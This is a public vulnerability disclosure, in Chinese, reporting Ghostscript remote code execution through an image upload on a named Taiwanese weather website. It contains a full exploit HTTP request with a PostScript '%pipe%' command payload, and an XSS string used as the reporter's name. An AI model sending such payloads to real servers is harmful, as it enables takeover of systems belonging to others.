Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-01324
- Vendor: 臺灣超威的
- Title: 臺灣超威的 可上傳 Ghostscript 圖片導致 Remote Code Execution
- Introduction: Remote Code Execution
處理狀態
目前狀態
公開
Last Update : 2018/11/11
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/09/11 02:47:25 : 新提交 (由 <svg/onload=alert(1)> 更新此狀態)
- 2018/09/11 22:59:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/09/11 23:37:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/09/11 23:37:27 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/11/11 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-01324
- 通報者:morrow (<svg/onload=alert(1)>)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
www.superweather.tw/upload_file
敘述
問題點發生在 https://www.superweather.tw/upload_file# 上傳圖片的地方
透過上傳一個 postscript 格式的圖片,就能直接拿到網站的 shell
該網站還是用 root 架設,非常危險,直接得到 root shell
POST /upload_file HTTP/1.1
Host: www.superweather.tw
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://www.superweather.tw/v2/upload_file
Content-Type: multipart/form-data; boundary=---------------------------150848912321322374261454801293
Content-Length: 1656
Cookie: 你的餅乾
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------150848912321322374261454801293
Content-Disposition: form-data; name="u_file"; filename="test.png"
Content-Type: image/png
%!PS-Adobe-1.0
%%BoundingBox: 100 100 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
-----------------------------150848912321322374261454801293
Content-Disposition: form-data; name="u_uploader"
1
-----------------------------150848912321322374261454801293
Content-Disposition: form-data; name="u_phone"
1
-----------------------------150848912321322374261454801293
Content-Disposition: form-data; name="u_desc"
1
-----------------------------150848912321322374261454801293
Content-Disposition: form-data; name="u_title"
-----------------------------150848912321322374261454801293
Content-Disposition: form-data; name="day_night"
0
-----------------------------150848912321322374261454801293
Content-Disposition: form-data; name="weather_desc"
0
-----------------------------150848912321322374261454801293
Content-Disposition: form-data; name="must_check"
on
-----------------------------150848912321322374261454801293
Content-Disposition: form-data; name="u_county"
tes
-----------------------------150848912321322374261454801293
Content-Disposition: form-data; name="u_township"
test
-----------------------------150848912321322374261454801293
Content-Disposition: form-data; name="u_enter"
-----------------------------150848912321322374261454801293--
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。